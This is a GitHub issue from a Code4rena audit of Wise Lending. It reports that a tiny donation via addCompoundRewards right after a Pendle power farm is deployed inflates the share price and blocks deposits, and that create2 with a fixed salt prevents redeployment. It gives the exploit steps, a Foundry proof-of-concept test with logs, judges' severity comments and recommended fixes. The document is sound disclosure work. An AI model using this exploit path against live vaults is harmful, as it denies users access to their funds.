Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malicious actor can inflate share price and DOS power farm immediately after deployment #125

Closed
c4-bot-5 opened this issue Mar 10, 2024 · 13 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-123 edited-by-warden high quality report This report is of especially high quality 🤖_88_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-bot-5
Copy link
Contributor

c4-bot-5 commented Mar 10, 2024

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502-L524
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmController.sol#L224-L229
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmTokenFactory.sol#L35-L109
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L81-L130

Vulnerability details

Impact

A malicious actor can DOS a Pendle farm vault immediately after it has been deployed by depositing a small amount of wei through PendlePowerFarmToken::addCompoundRewards(). Once performed, the governance won't be able to re-deploy at a different address due to a different issue where the salt used for create2 depends on the underlying Pendle market's address and would result in the same affected address being generated.

Proof of Concept

The governance (master) holds the authority to deploy power farms for particular Pendle markets whenever necessary. This is made possible through the PendlePowerFarmController::addPendleMarket() function.

Here's the part of it we're interested in:

function addPendleMarket(
    address _pendleMarket,
    string memory _tokenName,
    string memory _symbolName,
    uint16 _maxCardinality
)
    external
    onlyMaster
{
    if (pendleChildAddress[_pendleMarket] > ZERO_ADDRESS) {
        revert AlreadySet();
    }

    address pendleChild = PENDLE_POWER_FARM_TOKEN_FACTORY.deploy(
        _pendleMarket,
        _tokenName,
        _symbolName,
        _maxCardinality
    );

    pendleChildAddress[_pendleMarket] = pendleChild;

    // ...
}

This will call into PendlePowerFarmTokenFactory and deploy a new instance of PendlePowerFarmToken using the minimal proxy pattern.

function deploy(
    address _underlyingPendleMarket,
    string memory _tokenName,
    string memory _symbolName,
    uint16 _maxCardinality
)
    external
    returns (address)
{
    if (msg.sender != PENDLE_POWER_FARM_CONTROLLER) {
        revert DeployForbidden();
    }

    return _clone(
        _underlyingPendleMarket,
        _tokenName,
        _symbolName,
        _maxCardinality
    );
}

function _clone(
    address _underlyingPendleMarket,
    string memory _tokenName,
    string memory _symbolName,
    uint16 _maxCardinality
)
    private
    returns (address pendlePowerFarmTokenAddress)
{
    bytes32 salt = keccak256(
        abi.encodePacked(
            _underlyingPendleMarket
        )
    );

    // (deployment code) ...

    PendlePowerFarmToken(pendlePowerFarmTokenAddress).initialize(
        _underlyingPendleMarket,
        PENDLE_POWER_FARM_CONTROLLER,
        _tokenName,
        _symbolName,
        _maxCardinality
    );
}

And here's the last piece of the puzzle before the farm is ready, PendlePowerFarmToken::initialize():

function initialize(
    address _underlyingPendleMarket,
    address _pendleController,
    string memory _tokenName,
    string memory _symbolName,
    uint16 _maxCardinality
)
    external
{
    if (address(PENDLE_MARKET) != address(0)) {
        revert AlreadyInitialized();
    }

    PENDLE_MARKET = IPendleMarket(
        _underlyingPendleMarket
    );

    if (PENDLE_MARKET.isExpired() == true) {
        revert MarketExpired();
    }

    PENDLE_CONTROLLER = IPendleController(
        _pendleController
    );

    MAX_CARDINALITY = _maxCardinality;

    _name = _tokenName;
    _symbol = _symbolName;

    PENDLE_POWER_FARM_CONTROLLER = _pendleController;
    UNDERLYING_PENDLE_MARKET = _underlyingPendleMarket;

    (
        address pendleSyAddress,
        ,
    ) = PENDLE_MARKET.readTokens();

    PENDLE_SY = IPendleSy(
        pendleSyAddress
    );

    _decimals = PENDLE_SY.decimals();

    lastInteraction = block.timestamp;

    _totalSupply = 1;
    underlyingLpAssetsCurrent = 1;
    mintFee = 3000;
    INITIAL_TIME_STAMP = block.timestamp;
}

As we can see, nowhere in the process do we provide an initial asset supply for the newly created power farm.

The power farm uses the following algorithm for calculating the share price (from PendlePowerFarmToken):

function previewDistribution()
    public
    view
    returns (uint256)
{
    if (totalLpAssetsToDistribute == 0) {
        return 0;
    }

    if (block.timestamp == lastInteraction) {
        return 0;
    }

    if (totalLpAssetsToDistribute < ONE_WEEK) {
        return totalLpAssetsToDistribute;
    }

    uint256 currentRate = totalLpAssetsToDistribute
        / ONE_WEEK;

    uint256 additonalAssets = currentRate
        * (block.timestamp - lastInteraction);

    if (additonalAssets > totalLpAssetsToDistribute) {
        return totalLpAssetsToDistribute;
    }

    return additonalAssets;
}

 function previewUnderlyingLpAssets()
    public
    view
    returns (uint256)
{
    return previewDistribution()
        + underlyingLpAssetsCurrent;
}

function _getSharePrice()
    private
    view
    returns (uint256)
{
    return previewUnderlyingLpAssets() * PRECISION_FACTOR_E18
        / totalSupply();
}

An attacker could call PendlePowerFarmToken::addCompoundRewards() and deflate the share price. This would cause a DOS because of the following code:

modifier syncSupply()
{
    // ...
    _;
    _validateSharePriceGrowth(
        _validateSharePrice(
            sharePriceBefore
        )
    );
}

function _validateSharePrice(
    uint256 _sharePriceBefore
)
    private
    view
    returns (uint256)
{
    uint256 sharePricenNow = _getSharePrice();

    if (sharePricenNow < _sharePriceBefore) {
        revert InvalidSharePrice();
    }

    return sharePricenNow;
}

function _validateSharePriceGrowth(
    uint256 _sharePriceNow
)
    private
    view
{
    uint256 timeDifference = block.timestamp
        - INITIAL_TIME_STAMP;

    uint256 maximum = timeDifference
        * RESTRICTION_FACTOR
        + PRECISION_FACTOR_E18;

    if (_sharePriceNow > maximum) {
        revert InvalidSharePriceGrowth();
    }
}

Bumping _sharePriceNow through the donation without any underlying assets will cause a long-term DOS on the vault. Afterward, the governance won't be able to re-deploy a power farm for the same Pendle market because the salt is hard-coded inside PendlePowerFarmTokenFactory::_clone().

Here's what the exploit path would look like:

  1. The master address deploys a new Pendle market
  2. The attacker awaits the deployment and immediately deposits some amount of wei through PendlePowerFarmToken::addCompoundRewards()
  3. All actions reliant on syncSupply become DOSed until maximum is again greater than _sharePriceNow.
  4. The master has no way to re-deploy a farm for the same market because salt is hard-coded and create2 would yield the same address. So, this Pendle market is essentially rendered unusable in the context of this protocol.

Coded POC (PendlePowerFarmControllerBase.t.sol):

function testFail_DOSAfterMarketDeployment() public normalSetup(true) {
    (IERC20 tokenReceived, uint256 balanceReceived) =
        _getTokensToPlayWith(CRVUSD_PENDLE_28MAR_2024, crvUsdMar2024LP_WHALE);
    (uint256 depositAmount, IPendlePowerFarmToken derivativeToken) =
        _prepareDeposit(CRVUSD_PENDLE_28MAR_2024, tokenReceived, balanceReceived);

    address alice = makeAddr("alice");
    tokenReceived.transfer(alice, 10e18);

    // Malicious actor deposits a reward right after deployment of market
    // (bigger compound reward => longer DOS)
    tokenReceived.approve(address(derivativeToken), 100_000 wei);
    derivativeToken.addCompoundRewards(100_000 wei);

    // Let some time pass
    vm.warp(block.timestamp + 40 weeks);

    // After 40 weeks, Vault is still under DOS and Alice cannot deposit
    vm.startPrank(alice);
    tokenReceived.approve(address(derivativeToken), tokenReceived.balanceOf(alice));
    // reverts with InvalidSharePriceGrowth
    derivativeToken.depositExactAmount(tokenReceived.balanceOf(alice));
    vm.stopPrank();
}

Logs from the depositExactAmount() call:

_sharePriceNow: 100001000000000900019000
timeDifference: 24192000
maximum: 8671232876696704000

Tools Used

Manual Review

Recommended Mitigation Steps

Make the salt user supplied in addPendleMarket() and add a mechanism to remove the affected market from PendlePowerFarmController::activePendleMarkets[].

Add an initial supply of the underlying asset with each deployment. This will make the attack harder to pull off. The risk will still be there but potential denial of services through it will be much shorter in duration and unprofitable for the attacker. You can also refer to the following article to get a better idea of the vault inflation attack and case studies on how it's tackled in other protocols: https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks

Assessed type

DoS

@c4-bot-5 c4-bot-5 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 10, 2024
c4-bot-2 added a commit that referenced this issue Mar 10, 2024
@c4-bot-12 c4-bot-12 added the 🤖_88_group AI based duplicate group recommendation label Mar 12, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as sufficient quality report

@c4-pre-sort
Copy link

GalloDaSballo marked the issue as duplicate of #88

@c4-pre-sort c4-pre-sort added high quality report This report is of especially high quality and removed sufficient quality report This report is of sufficient quality labels Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as high quality report

@c4-judge c4-judge added duplicate-123 satisfactory satisfies C4 submission criteria; eligible for awards and removed duplicate-88 labels Mar 26, 2024
@c4-judge
Copy link
Contributor

trust1995 marked the issue as satisfactory

@c4-judge
Copy link
Contributor

trust1995 marked the issue as not a duplicate

@c4-judge
Copy link
Contributor

trust1995 marked the issue as duplicate of #271

@c4-judge
Copy link
Contributor

trust1995 marked the issue as selected for report

@c4-judge c4-judge reopened this Mar 27, 2024
@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label Mar 27, 2024
@c4-judge
Copy link
Contributor

trust1995 changed the severity to 2 (Med Risk)

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Mar 27, 2024
@c4-judge
Copy link
Contributor

trust1995 marked the issue as duplicate of #123

@c4-judge c4-judge added duplicate-123 and removed primary issue Highest quality submission among a set of duplicates labels Mar 27, 2024
@c4-judge
Copy link
Contributor

trust1995 changed the severity to 3 (High Risk)

@c4-judge c4-judge added 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue labels Mar 27, 2024
@c4-judge
Copy link
Contributor

trust1995 marked the issue as not selected for report

@c4-judge c4-judge removed the selected for report This submission will be included/highlighted in the audit report label Mar 27, 2024
@0xNentoR
Copy link

@trust1995 The primary and this one are both written by me. I'd like to ask for this one to get grouped under #271, as it was initially.

@trust1995
Copy link

@trust1995 The primary and this one are both written by me. I'd like to ask for this one to get grouped under #271, as it was initially.

The groupings are in line with the root cause of each group and will remain as such.

@PaperParachute PaperParachute added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Apr 15, 2024
@thebrittfactor thebrittfactor removed the upgraded by judge Original issue severity upgraded from QA/Gas by judge label Apr 15, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-123 edited-by-warden high quality report This report is of especially high quality 🤖_88_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

9 participants